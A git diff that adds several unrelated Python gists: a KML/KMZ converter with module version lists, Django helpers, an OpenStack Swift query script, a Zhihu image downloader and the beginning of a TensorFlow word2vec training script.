diff --git a/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/fiona_3.8.txt b/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/fiona_3.8.txt
new file mode 100644
index 00000000..ccd6beb7
--- /dev/null
+++ b/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/fiona_3.8.txt
@@ -0,0 +1 @@
+0.5, 0.6, 0.6.1, 0.6.2, 0.7, 0.8, 0.9, 0.9.1, 0.10, 0.12, 0.12.1, 0.13, 0.14, 0.15, 0.16, 0.16.1, 1.0, 1.0.1, 1.0.2, 1.0.3, 1.1, 1.8.9, 1.8.9.post1, 1.8.9.post2, 1.8.10, 1.8.11, 1.8.12, 1.8.13, 1.8.13.post1, 1.8.14, 1.8.15, 1.8.16, 1.8.17, 1.8.18, 1.8.19, 1.8.20, 1.8.21, 1.8.22, 1.9.0, 1.9.1, 1.9.2, 1.9.3, 1.9.4, 1.9.4.post1, 1.9.5, 1.9.6, 1.9a1, 1.9a2, 1.9a3, 1.9b1, 1.9b2, 1.10.0, 1.10.0rc1, 1.10.1, 1.10a2, 1.10b1, 1.10b2, 1.10b3
\ No newline at end of file
diff --git a/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/geojson_3.8.txt b/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/geojson_3.8.txt
new file mode 100644
index 00000000..af89b672
--- /dev/null
+++ b/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/geojson_3.8.txt
@@ -0,0 +1 @@
+1.0, 1.0.1, 1.0.4, 1.0.5, 1.0.6, 1.0.7, 1.0.8, 1.0.9, 1.0a3, 1.0b1, 1.0rc1, 1.1.0, 1.2.0, 1.2.1, 1.2.2, 1.3.0, 1.3.1, 1.3.2, 1.3.3, 1.3.4, 1.3.5, 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.4.0, 2.4.1, 2.5.0, 3.0.0, 3.0.1, 3.1.0, 3.2.0
\ No newline at end of file
diff --git a/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/geopandas_3.8.txt b/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/geopandas_3.8.txt
new file mode 100644
index 00000000..f416b115
--- /dev/null
+++ b/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/geopandas_3.8.txt
@@ -0,0 +1 @@
+0.1.0, 0.1.0.dev-1edddad, 0.1.0.dev-2be7de8, 0.1.0.dev-2d642e0, 0.1.0.dev-3ebcae0, 0.1.0.dev-6c816f0, 0.1.0.dev-40ec104, 0.1.0.dev-53f669a, 0.1.0.dev-120d5ee, 0.1.0.dev-189a35c, 0.1.0.dev-7788a17, 0.1.0.dev-8144a45, 0.1.0.dev-120828c, 0.1.0.dev-a7b594e, 0.1.0.dev-a91e8ab, 0.1.0.dev-abb4137, 0.1.0.dev-c770a5c, 0.1.0.dev-fea5c40, 0.1.1, 0.2.1, 0.3.0, 0.4.0, 0.4.1, 0.5.0, 0.5.1, 0.6.0, 0.6.0rc1, 0.6.1, 0.6.2, 0.6.3, 0.7.0, 0.8.0, 0.8.1, 0.8.2, 0.9.0, 0.10.0, 0.10.1, 0.10.2, 0.11.0, 0.11.1, 0.12.0, 0.12.1, 0.12.2, 0.13.0, 0.13.1, 0.13.2, 0.14.0, 0.14.1, 0.14.2, 0.14.3, 0.14.4, 1.0.0, 1.0.0a1, 1.0.0rc1, 1.0.1, 1.1.0, 1.1.1, 1.1.2, 1.1.3
\ No newline at end of file
diff --git a/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/reos_3.8.txt b/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/reos_3.8.txt
new file mode 100644
index 00000000..6c6aa7cb
--- /dev/null
+++ b/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/reos_3.8.txt
@@ -0,0 +1 @@
+0.1.0
\ No newline at end of file
diff --git a/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/shapefile_3.8.txt b/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/shapefile_3.8.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/shapely_3.8.txt b/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/shapely_3.8.txt
new file mode 100644
index 00000000..ee3b7b7d
--- /dev/null
+++ b/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/shapely_3.8.txt
@@ -0,0 +1 @@
+1.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6, 1.0.7, 1.0.11, 1.0.12, 1.0.13, 1.0.14, 1.0.15, 1.0a7, 1.0b1, 1.0b2, 1.0b3, 1.0b4, 1.0rc1, 1.0rc2, 1.2, 1.7.0, 1.7.1, 1.7a2, 1.7a3, 1.7b1, 1.8.0, 1.8.1, 1.8.1.post1, 1.8.2, 1.8.3, 1.8.4, 1.8.5, 1.8.5.post1, 1.8a1, 1.8a2, 1.8a3, 1.8rc1, 1.8rc2, 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.0.5, 2.0.6, 2.0.7, 2.0a1, 2.0b1, 2.0b2, 2.0rc1, 2.0rc2, 2.0rc3
\ No newline at end of file
diff --git a/hard-gists/0306734dfe17076dfd34e09660c198c0/snippet.py b/hard-gists/0306734dfe17076dfd34e09660c198c0/snippet.py
new file mode 100644
index 00000000..8316d263
--- /dev/null
+++ b/hard-gists/0306734dfe17076dfd34e09660c198c0/snippet.py
@@ -0,0 +1,342 @@
+# Author:
+# Linwood Creekmore III
+# email: valinvescap@gmail.com
+
+# Acknowledgements:
+# http://programmingadvent.blogspot.com/2013/06/kmzkml-file-parsing-with-python.html
+# http://gis.stackexchange.com/questions/159681/geopandas-cant-save-geojson
+# https://gist.github.com/mciantyre/32ff2c2d5cd9515c1ee7
+
+
+
+'''
+Sample files to test (everything doesn't work, but most do)
+--------------------
+Google List of KMZs: https://sites.google.com/a/mcpsweb.org/google-earth-kmz/kmz-files 
+NOAA KMZ: https://data.noaa.gov/dataset/climate-reconstructions/resource/13f35d9b-a738-4c3b-8ba3-a22e3192e7b6 
+Washington DC GIS Data/Quadrants: http://opendata.dc.gov/datasets/02923e4697804406b9ee3268a160db99_11.kml
+
+
+Examples
+----------
+
+# output to geopandas
+a = keyholemarkup2x('LGGWorldCapitals.kmz',output='gpd')
+
+# plot this new file, use %matplotlib inline if you are in a notebook
+#%matplotlib inline
+a.plot()
+
+# convert to shapefile
+a = keyholemarkup2x('DC_Quadrants.kml',output='shp')
+
+
+
+'''
+
+
+import pandas as pd
+from io import BytesIO,StringIO
+from zipfile import ZipFile
+import re,os
+import numpy as np
+import xml.sax, xml.sax.handler
+from html.parser import HTMLParser
+import pandas as pd
+
+
+from html.parser import HTMLParser
+
+class MyHTMLParser(HTMLParser):
+    
+    def __init__(self):
+        # initialize the base class
+        HTMLParser.__init__(self)
+        self.inTable=False
+        self.mapping = {} 
+        self.buffer = ""
+        self.name_tag = ""
+        self.series = pd.Series()
+        
+    def handle_starttag(self, tag, attrs):
+        if tag == 'table':
+            self.inTable = True
+
+    def handle_data(self, data):
+        if self.inTable:
+            self.buffer = data.strip(' \n\t').split(':')
+            if len(self.buffer)==2:
+                self.mapping[self.buffer[0]]=self.buffer[1]
+                self.series = pd.Series(self.mapping)
+        
+class PlacemarkHandler(xml.sax.handler.ContentHandler):
+    def __init__(self):
+        self.inName = False # handle XML parser events
+        self.inPlacemark = False
+        self.mapping = {} 
+        self.buffer = ""
+        self.name_tag = ""
+        
+    def startElement(self, name, attributes):
+        if name == "Placemark": # on start Placemark tag
+            self.inPlacemark = True
+            self.buffer = "" 
+        if self.inPlacemark:
+            if name == "name": # on start title tag
+                self.inName = True # save name text to follow
+            
+    def characters(self, data):
+        if self.inPlacemark: # on text within tag
+            self.buffer += data # save text if in title
+            
+    def endElement(self, name):
+        self.buffer = self.buffer.strip('\n\t')
+        
+        if name == "Placemark":
+            self.inPlacemark = False
+            self.name_tag = "" #clear current name
+        
+        elif name == "name" and self.inPlacemark:
+            self.inName = False # on end title tag            
+            self.name_tag = self.buffer.strip()
+            self.mapping[self.name_tag] = {}
+        elif self.inPlacemark:
+            if name in self.mapping[self.name_tag]:
+                self.mapping[self.name_tag][name] += self.buffer
+            else:
+                self.mapping[self.name_tag][name] = self.buffer
+        self.buffer = ""
+        
+        
+    def spatializer(row):
+        """
+        Function to convert string objects to Python spatial objects
+        
+        """
+        
+        #############################
+        # coordinates field
+        #############################
+        try:
+            # look for the coordinates column
+            data = row['coordinates'].strip(' \t\n\r')
+        except:
+            pass
+        try:
+            import shapely
+            from shapely.geometry import Polygon,LineString,Point
+        except ImportError as e:
+            raise ImportError('This operation requires shapely. {0}'.format(e))
+        import ast
+        lsp = data.strip().split(' ')
+        linestring = map(lambda x: ast.literal_eval(x),lsp)
+        try:
+            spatial = Polygon(LineString(linestring))
+            convertedpoly = pd.Series({'geometry':spatial})
+            return convertedpoly
+        except:
+            try:
+                g = ast.literal_eval(data)
+                points = pd.Series({'geometry':Point(g[:2]),
+                                   'altitude':g[-1]})
+                return points
+            except:
+            
+                pass
+            
+        
+        
+        try:
+            # Test for latitude and longitude columns
+            lat=float(row['latitude'])
+            lon=float(row['longitude'])
+            point = Point(lon,lat)
+            convertedpoly = pd.Series({'geometry':point})
+            return convertedpoly
+        except:
+            
+            pass
+    
+    def htmlizer(row):
+        htmlparser = MyHTMLParser()
+        htmlparser.feed(row['description'])
+        return htmlparser.series
+        
+        
+def keyholemarkup2x(file,output='df'):
+    """
+    Takes Keyhole Markup Language Zipped (KMZ) or KML file as input. The  
+    output is a pandas dataframe, geopandas geodataframe, csv, geojson, or
+    shapefile.
+    
+    All core functionality from:
+    http://programmingadvent.blogspot.com/2013/06/kmzkml-file-parsing-with-python.html
+    
+    Parameters
+        ----------
+        file : {string}
+            The string path to your KMZ or .
+        output : {string}
+            Defines the type of output. Valid selections include:
+                - shapefile - 'shp', 'shapefile', or 'ESRI Shapefile'
+
+        Returns
+        -------
+        self : object
+    """
+    r = re.compile(r'(?<=\.)km+[lz]?',re.I)
+    try:
+        extension = r.search(file).group(0) #(re.findall(r'(?<=\.)[\w]+',file))[-1]
+        
+    
+    except IOError as e:
+        logging.error("I/O error {0}".format(e))
+    if (extension.lower()=='kml') is True:
+        buffer = file
+    elif (extension.lower()=='kmz') is True:
+        kmz = ZipFile(file, 'r')
+        
+        vmatch = np.vectorize(lambda x:bool(r.search(x)))
+        A = np.array(kmz.namelist())
+        sel = vmatch(A)
+        buffer = kmz.open(A[sel][0],'r')
+    
+    else:
+        raise ValueError('Incorrect file format entered.  Please provide the '
+                         'path to a valid KML or KMZ file.')    
+     
+    
+    parser = xml.sax.make_parser()
+    handler = PlacemarkHandler()
+    parser.setContentHandler(handler)
+    parser.parse(buffer)
+    
+    try:
+        kmz.close()
+    except:
+        pass
+    
+    df = pd.DataFrame(handler.mapping).T
+    names = list(map(lambda x: x.lower(),df.columns))
+    if 'description' in names:
+        extradata = df.apply(PlacemarkHandler.htmlizer,axis=1)
+        df = df.join(extradata)
+    
+    
+    output = output.lower()
+    
+    if output=='df' or output=='dataframe' or output == None:
+        result = df
+        
+    elif output=='csv':
+        out_filename = file[:-3] + "csv"
+        df.to_csv(out_filename,encoding='utf-8',sep="\t")
+        result = ("Successfully converted {0} to CSV and output to"
+                   " disk at {1}".format(file,out_filename))
+        
+    elif output=='gpd' or output == 'gdf' or output=='geoframe' or output == 'geodataframe':
+        try:
+            import shapely
+            from shapely.geometry import Polygon,LineString,Point
+        except ImportError as e:
+            raise ImportError('This operation requires shapely. {0}'.format(e))
+        try:
+            import fiona
+        except ImportError as e:
+            raise ImportError('This operation requires fiona. {0}'.format(e))
+        try:
+            import geopandas as gpd
+        except ImportError as e:
+            raise ImportError('This operation requires geopandas. {0}'.format(e))
+            
+        geos = gpd.GeoDataFrame(df.apply(PlacemarkHandler.spatializer,axis=1))
+        result = gpd.GeoDataFrame(pd.concat([df,geos],axis=1))
+        
+        
+    elif output=='geojson' or output=='json':
+        try:
+            import shapely
+            from shapely.geometry import Polygon,LineString,Point
+        except ImportError as e:
+            raise ImportError('This operation requires shapely. {0}'.format(e))
+        try:
+            import fiona
+        except ImportError as e:
+            raise ImportError('This operation requires fiona. {0}'.format(e))
+        try:
+            import geopandas as gpd
+        except ImportError as e:
+            raise ImportError('This operation requires geopandas. {0}'.format(e))
+        try:
+            import geojson
+        except ImportError as e:
+            raise ImportError('This operation requires geojson. {0}'.format(e))
+            
+        geos = gpd.GeoDataFrame(df.apply(PlacemarkHandler.spatializer,axis=1))
+        gdf = gpd.GeoDataFrame(pd.concat([df,geos],axis=1))
+        out_filename = file[:-3] + "geojson"
+        gdf.to_file(out_filename,driver='GeoJSON')
+        validation = geojson.is_valid(geojson.load(open(out_filename)))['valid']
+        if validation == 'yes':
+            
+            result = ("Successfully converted {0} to GeoJSON and output to"
+                      " disk at {1}".format(file,out_filename))
+        else:
+            raise ValueError('The geojson conversion did not create a '
+                            'valid geojson object. Try to clean your '
+                            'data or try another file.')
+            
+    elif output=='shapefile' or output=='shp' or output =='esri shapefile':
+        try:
+            import shapely
+            from shapely.geometry import Polygon,LineString,Point
+        except ImportError as e:
+            raise ImportError('This operation requires shapely. {0}'.format(e))
+        try:
+            import fiona
+        except ImportError as e:
+            raise ImportError('This operation requires fiona. {0}'.format(e))
+            
+        try:
+            import geopandas as gpd
+        except ImportError as e:
+            raise ImportError('This operation requires geopandas. {0}'.format(e))
+            
+        try:
+            import shapefile
+        except ImportError as e:
+            raise ImportError('This operation requires pyshp. {0}'.format(e))
+        
+            
+        geos = gpd.GeoDataFrame(df.apply(PlacemarkHandler.spatializer,axis=1))
+        gdf = gpd.GeoDataFrame(pd.concat([df,geos],axis=1))
+        out_filename = file[:-3] + "shp"
+        gdf.to_file(out_filename,driver='ESRI Shapefile')
+        sf = shapefile.Reader(out_filename)
+        import shapefile
+        sf = shapefile.Reader(out_filename)
+        if len(sf.shapes())>0:
+            validation = "yes"
+        else:
+            validation = "no"
+        if validation == 'yes':
+            
+            result = ("Successfully converted {0} to Shapefile and output to"
+                      " disk at {1}".format(file,out_filename))
+        else:
+            raise ValueError('The Shapefile conversion did not create a '
+                            'valid shapefile object. Try to clean your '
+                            'data or try another file.') 
+    else:
+        raise ValueError('The conversion returned no data; check if'
+                        ' you entered a correct output file type. '
+                        'Valid output types are geojson, shapefile,'
+                        ' csv, geodataframe, and/or pandas dataframe.')
+        
+    return result
+ 
+    
+    
+    
+    
+  
\ No newline at end of file
diff --git a/hard-gists/034e799c19eb763fa859/._snippet.py b/hard-gists/034e799c19eb763fa859/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/034e799c19eb763fa859/._snippet.py differ
diff --git a/hard-gists/034e799c19eb763fa859/snippet.py b/hard-gists/034e799c19eb763fa859/snippet.py
new file mode 100644
index 00000000..830c6093
--- /dev/null
+++ b/hard-gists/034e799c19eb763fa859/snippet.py
@@ -0,0 +1,18 @@
+# From http://vanderwijk.info/blog/adding-css-classes-formfields-in-django-templates/#comment-1193609278
+
+from django import template
+register = template.Library()
+
+@register.filter(name='add_attributes')
+def add_attributes(field, css):
+    attrs = {}
+    definition = css.split(',')
+
+    for d in definition:
+        if ':' not in d:
+            attrs['class'] = d
+        else:
+            t, v = d.split(':')
+            attrs[t] = v
+
+    return field.as_widget(attrs=attrs)
\ No newline at end of file
diff --git a/hard-gists/035dc3b722b7f89cce66520dde285c9a/._snippet.py b/hard-gists/035dc3b722b7f89cce66520dde285c9a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/035dc3b722b7f89cce66520dde285c9a/._snippet.py differ
diff --git a/hard-gists/035dc3b722b7f89cce66520dde285c9a/snippet.py b/hard-gists/035dc3b722b7f89cce66520dde285c9a/snippet.py
new file mode 100644
index 00000000..e0724de2
--- /dev/null
+++ b/hard-gists/035dc3b722b7f89cce66520dde285c9a/snippet.py
@@ -0,0 +1,37 @@
+#!/usr/bin/env python
+import sys
+from argparse import ArgumentParser
+
+from swift.common.direct_client import direct_get_suffix_hashes
+from swift.common.storage_policy import POLICIES
+
+parser = ArgumentParser()
+parser.add_argument('--policy-index', default=0, help='policy index')
+parser.add_argument('part', help='the part')
+parser.add_argument('-s', '--suffix', nargs='*',
+                    help='any suffixes to recalculate')
+parser.add_argument('-d', '--device', help='limit command to single node')
+
+
+def main():
+    args = parser.parse_args()
+
+    policy = POLICIES[args.policy_index]
+
+    policy.load_ring('/etc/swift/')
+    ring = policy.object_ring
+
+    suffixes = args.suffix or []
+    for node in ring.devs:
+        if node is None:
+            continue
+        if args.device and node['device'] != args.device:
+            continue
+        data = direct_get_suffix_hashes(
+            node, args.part, suffixes, headers={
+                'x-backend-storage-policy-index': int(policy)})
+        print node['ip'], node['port'], node['device']
+        print data
+
+if __name__ == "__main__":
+    sys.exit(main())
diff --git a/hard-gists/037e4134d8271c0de71b838a461e7ac1/._snippet.py b/hard-gists/037e4134d8271c0de71b838a461e7ac1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/037e4134d8271c0de71b838a461e7ac1/._snippet.py differ
diff --git a/hard-gists/037e4134d8271c0de71b838a461e7ac1/snippet.py b/hard-gists/037e4134d8271c0de71b838a461e7ac1/snippet.py
new file mode 100644
index 00000000..236eaf2c
--- /dev/null
+++ b/hard-gists/037e4134d8271c0de71b838a461e7ac1/snippet.py
@@ -0,0 +1,164 @@
+#-*- coding=utf-8 -*- 
+"""
+知乎图片下载器
+"""
+import requests
+import re
+import json
+import time
+from PIL import Image
+import cStringIO
+import cookielib  
+import urllib
+import os
+
+api_url='https://www.zhihu.com/node/QuestionAnswerListV2'
+login_url='https://www.zhihu.com/login/'
+topic_url='https://www.zhihu.com/question/'
+
+
+headers={
+'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'
+}
+
+session=requests.Session()
+session.headers=headers    
+session.cookies = cookielib.LWPCookieJar(filename='cookies') 
+try:  
+    session.cookies.load(ignore_discard=True)  
+except:  
+    print u"未登陆过，需先登录"  
+    
+
+def get_xsrf(url="http://www.zhihu.com"):  
+    '''''_xsrf 是一个动态变化的参数'''  
+    global session
+    index_url =  url
+    index_page = session.get(index_url)  
+    html = index_page.content  
+    pattern = r'name="_xsrf" value="(.*?)"'  
+    _xsrf = re.findall(pattern, html)  
+    return _xsrf[0]
+
+
+def ImageScale(url,session=None):
+    if session==None:
+        session=requests.Session()
+    file = cStringIO.StringIO(session.get(url).content)
+    img = Image.open(file)
+    img.show()
+    
+   
+def get_captcha():
+    global session
+    t=str(int(time.time()*1000))
+    captcha_url='https://www.zhihu.com/captcha.gif?r=%s&type=login'%t
+    print captcha_url
+    ImageScale(captcha_url,session)
+    print u'请输入验证码：'
+    yzm=raw_input()
+    return yzm
+
+def isLogin():  
+    global session
+    url = "https://www.zhihu.com/settings/profile"  
+    login_code = session.get(url, allow_redirects=False).status_code  
+    if int(x=login_code) == 200:  
+        return True  
+    else:  
+        return False 
+    
+def login(email,passwd):
+    global session
+    isemail=re.search('@',email)
+    if isemail:
+        loginurl=login_url+'email'
+        data={'_xsrf':get_xsrf()
+                ,'password':passwd
+                ,'remember_me':'true'
+                ,'email':email}
+    else:
+        loginurl=login_url+'phone_num'
+        data={'_xsrf':get_xsrf()
+                ,'password':passwd
+                ,'remember_me':'true'
+                ,'phone_num':email}
+    try:
+        login_page=session.post(loginurl,data=data)
+        login_code=login_page.content
+        print login_page.status
+        print login_code
+    except:
+        data['captcha']=get_captcha()
+        login_page=session.post(loginurl,data=data)
+        login_code=json.loads(login_page.content)
+        print login_code['msg']
+    session.cookies.save()
+ 
+
+def get_pic_from_topic(id,offset):
+    global session
+    topicurl=topic_url+str(id)
+    _xsrf=get_xsrf(topicurl)
+    pic_re=re.compile('data-actualsrc="(.*?)"')
+    inner_data={"url_token":id
+                ,"pagesize":10
+                ,"offset":offset
+                }
+    data={'method':'next'
+        ,'params':json.dumps(inner_data)
+        }
+    session.headers['Referer']=topicurl
+    session.headers['Host']='www.zhihu.com'
+    session.headers['Origin']='https://www.zhihu.com'
+    session.headers['X-Xsrftoken']=_xsrf
+    js_data=session.post(api_url,data=data)
+    dat=json.loads(js_data.content)['msg']
+    pictures=[]
+    for d in dat:
+        pics=pic_re.findall(d)
+        picss=[re.sub('_b','_r',x) for x in pics]
+        pictures.extend(picss)
+    return pictures
+    
+def downloader(url,path):
+    try:
+        filename=url.split('/')[-1]
+        save=os.path.join(path,filename)
+        print u'开始下载 ',filename
+        urllib.urlretrieve(url,filename=save)
+    except Exception,e:
+        print u'下载出错，错误信息为：'
+        print e
+    
+ 
+if __name__=='__main__':
+    email='知乎账号'
+    passwd='知乎密码'
+    is_login=isLogin()
+    if not is_login:
+        login(email,passwd)
+    offset=0
+    pictures=[]
+    print u"""####################\n#  知乎图片下载器  #\n####################      
+            """
+    print u"请输入知乎问题id，比如https://www.zhihu.com/question/52049909，id就是52049909"
+    id=input()
+    print u'=====开始解析======'
+    while 1:
+        print u"+++++正在解析第%d页+++++"%(offset/10+1)
+        pics=get_pic_from_topic(id,offset)
+        if len(pics)==0:
+            print u"解析完毕，共找到%d张图片"%len(pictures)
+            break
+        pictures.extend(pics)
+        offset+=10
+    print u"=====开始下载图片====="
+    basepath=os.path.abspath('.')
+    savepath=os.path.join(basepath,str(id))
+    if not os.path.exists(savepath):
+        os.mkdir(savepath)
+    for pic in pictures:
+        downloader(pic,savepath)
+    print u"=====下载完毕====="
+    
\ No newline at end of file
diff --git a/hard-gists/03d9c46c86691c9bb680/._snippet.py b/hard-gists/03d9c46c86691c9bb680/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/03d9c46c86691c9bb680/._snippet.py differ
diff --git a/hard-gists/03d9c46c86691c9bb680/snippet.py b/hard-gists/03d9c46c86691c9bb680/snippet.py
new file mode 100644
index 00000000..265db9fe
--- /dev/null
+++ b/hard-gists/03d9c46c86691c9bb680/snippet.py
@@ -0,0 +1,95 @@
+import uuid
+import psycopg2
+from psycopg2.extras import DictCursor
+
+from django.conf import settings
+from django.db import models
+from django.contrib.auth.models import User
+
+
+class classproperty(object):
+    def __init__(self, fget):
+        self.fget = fget
+
+    def __get__(self, owner_self, owner_cls):
+        return self.fget(owner_cls)
+
+
+class LargeQueryConnectionMixin(object):
+    """Going native on the db for speed and server side cursors
+    which is necessary when dealing with very large result sets"""
+    @classmethod
+    def fetch(cls, sql, params_list):
+        with psycopg2.connect(cls.db_dsn, cursor_factory=DictCursor) as conn:
+            with conn.cursor() as c:
+                c.execute("SET TIME ZONE %s", [settings.TIME_ZONE])
+            # you must have psycopg2 >= 2.6 to get proper exec handling for cursor context manager
+            # see https://github.com/psycopg/psycopg2/issues/262
+            with conn.cursor(cls.ss_cursor_name) as c:
+                c.itersize = 100  # 100 to 1000 should be reasonable
+                c.execute(sql, params_list)
+                for row in c:
+                    yield row
+
+    @classproperty
+    def db_dsn(cls):
+        return "dbname=%s user=%s" % (
+            settings.DATABASES['default']['NAME'],
+            settings.DATABASES['default']['USER'])
+
+    @classproperty
+    def ss_cursor_name(cls):
+        "generates `random`ish server side cursor name"
+        return 'cur_%s' % str(uuid.uuid4()).replace('-', '')[:10]
+
+
+class Report(models.Model, LargeQueryConnectionMixin):
+    created = models.DateTimeField()
+    user = models.ForeignKey(User)
+    # .... more model attribs
+
+    @classmethod
+    def some_specific_report(cls, limit=2000000):
+        sql = "SELECT * from gigantic_table limit %s"
+        return cls.fetch(sql, [limit])
+
+
+# ------------ usage --------------
+# this can churn through insanely huge result sets
+# and memory usage will remain extremely low 
+for row in Report.some_specific_report(100000):
+    # write to disk and flush
+    # with this generator 
+    # data is accessed via row[INDEX] or row['COLUMN_NAME']
+    print row
+
+
+
+""" ____ PostgreSQL log verification ____
+2015-04-22 12:24:08 EDT LOG:  statement: BEGIN
+2015-04-22 12:24:08 EDT LOG:  statement: SET TIME ZONE 'US/Pacific'
+2015-04-22 12:24:08 EDT LOG:  statement: DECLARE "cur_fa30e88f84" CURSOR WITHOUT HOLD FOR SELECT * from gigantic_table limit 100000
+2015-04-22 12:24:08 EDT LOG:  statement: FETCH FORWARD 100 FROM "cur_fa30e88f84"
+2015-04-22 12:24:08 EDT LOG:  statement: FETCH FORWARD 100 FROM "cur_fa30e88f84"
+2015-04-22 12:24:08 EDT LOG:  statement: FETCH FORWARD 100 FROM "cur_fa30e88f84"
+2015-04-22 12:24:08 EDT LOG:  statement: FETCH FORWARD 100 FROM "cur_fa30e88f84"
+2015-04-22 12:24:08 EDT LOG:  statement: FETCH FORWARD 100 FROM "cur_fa30e88f84"
+2015-04-22 12:24:08 EDT LOG:  statement: FETCH FORWARD 100 FROM "cur_fa30e88f84"
+2015-04-22 12:24:08 EDT LOG:  statement: FETCH FORWARD 100 FROM "cur_fa30e88f84"
+2015-04-22 12:24:08 EDT LOG:  statement: FETCH FORWARD 100 FROM "cur_fa30e88f84"
+2015-04-22 12:24:08 EDT LOG:  statement: FETCH FORWARD 100 FROM "cur_fa30e88f84"
+2015-04-22 12:24:08 EDT LOG:  statement: FETCH FORWARD 100 FROM "cur_fa30e88f84"
+2015-04-22 12:24:08 EDT LOG:  statement: FETCH FORWARD 100 FROM "cur_fa30e88f84"
+2015-04-22 12:24:08 EDT LOG:  statement: FETCH FORWARD 100 FROM "cur_fa30e88f84"
+2015-04-22 12:24:08 EDT LOG:  statement: FETCH FORWARD 100 FROM "cur_fa30e88f84"
+2015-04-22 12:24:08 EDT LOG:  statement: FETCH FORWARD 100 FROM "cur_fa30e88f84"
+2015-04-22 12:24:08 EDT LOG:  statement: FETCH FORWARD 100 FROM "cur_fa30e88f84"
+2015-04-22 12:24:08 EDT LOG:  statement: FETCH FORWARD 100 FROM "cur_fa30e88f84"
+2015-04-22 12:24:08 EDT LOG:  statement: FETCH FORWARD 100 FROM "cur_fa30e88f84"
+2015-04-22 12:24:08 EDT LOG:  statement: FETCH FORWARD 100 FROM "cur_fa30e88f84"
+2015-04-22 12:24:08 EDT LOG:  statement: FETCH FORWARD 100 FROM "cur_fa30e88f84"
+2015-04-22 12:24:08 EDT LOG:  statement: FETCH FORWARD 100 FROM "cur_fa30e88f84"
+2015-04-22 12:24:08 EDT LOG:  statement: FETCH FORWARD 100 FROM "cur_fa30e88f84"
+2015-04-22 12:24:08 EDT LOG:  statement: CLOSE "cur_fa30e88f84"
+2015-04-22 12:24:08 EDT LOG:  statement: COMMIT
+"""
\ No newline at end of file
diff --git a/hard-gists/03de5c4c21138da5c29d/._snippet.py b/hard-gists/03de5c4c21138da5c29d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/03de5c4c21138da5c29d/._snippet.py differ
diff --git a/hard-gists/03de5c4c21138da5c29d/snippet.py b/hard-gists/03de5c4c21138da5c29d/snippet.py
new file mode 100644
index 00000000..49ad8b63
--- /dev/null
+++ b/hard-gists/03de5c4c21138da5c29d/snippet.py
@@ -0,0 +1,530 @@
+"""Multi-threaded word2vec mini-batched skip-gram model.
+
+Trains the model described in:
+(Mikolov, et. al.) Efficient Estimation of Word Representations in Vector Space
+ICLR 2013.
+http://arxiv.org/abs/1301.3781
+This model does traditional minibatching.
+
+The key ops used are:
+* placeholder for feeding in tensors for each example.
+* embedding_lookup for fetching rows from the embedding matrix.
+* sigmoid_cross_entropy_with_logits to calculate the loss.
+* GradientDescentOptimizer for optimizing the loss.
+* skipgram custom op that does input processing.
+"""
+from __future__ import print_function
+
+import os
+import sys
+import threading
+import time
+
+import tensorflow.python.platform
+
+import numpy as np
+import tensorflow as tf
+
+from tensorflow.models.embedding import gen_word2vec as word2vec
+
+flags = tf.app.flags
+
+flags.DEFINE_string("save_path", None, "Directory to write the model and "
+                    "training summaries.")
+flags.DEFINE_string("train_data", None, "Training text file. "
+                    "E.g., unzipped file http://mattmahoney.net/dc/text8.zip.")
+flags.DEFINE_string(
+    "eval_data", None, "File consisting of analogies of four tokens."
+    "embedding 2 - embedding 1 + embedding 3 should be close "
+    "to embedding 4."
+    "E.g. https://word2vec.googlecode.com/svn/trunk/questions-words.txt.")
+flags.DEFINE_integer("embedding_size", 200, "The embedding dimension size.")
+flags.DEFINE_integer(
+    "epochs_to_train", 15,
+    "Number of epochs to train. Each epoch processes the training data once "
+    "completely.")
+flags.DEFINE_float("learning_rate", 0.2, "Initial learning rate.")
+flags.DEFINE_integer("num_neg_samples", 100,
+                     "Negative samples per training example.")
+flags.DEFINE_integer("batch_size", 16,
+                     "Number of training examples processed per step "
+                     "(size of a minibatch).")
+flags.DEFINE_integer("concurrent_steps", 12,
+                     "The number of concurrent training steps.")
+flags.DEFINE_integer("window_size", 5,
+                     "The number of words to predict to the left and right "
+                     "of the target word.")
+flags.DEFINE_integer("min_count", 5,
+                     "The minimum number of word occurrences for it to be "
+                     "included in the vocabulary.")
+flags.DEFINE_float("subsample", 1e-3,
+                   "Subsample threshold for word occurrence. Words that appear "
+                   "with higher frequency will be randomly down-sampled. Set "
+                   "to 0 to disable.")
+flags.DEFINE_boolean(
+    "interactive", False,
+    "If true, enters an IPython interactive session to play with the trained "
+    "model. E.g., try model.analogy('france', 'paris', 'russia') and "
+    "model.nearby(['proton', 'elephant', 'maxwell']")
+flags.DEFINE_integer("statistics_interval", 5,
+                     "Print statistics every n seconds.")
+flags.DEFINE_integer("summary_interval", 5,
+                     "Save training summary to file every n seconds (rounded "
+                     "up to statistics interval.")
+flags.DEFINE_integer("checkpoint_interval", 600,
+                     "Checkpoint the model (i.e. save the parameters) every n "
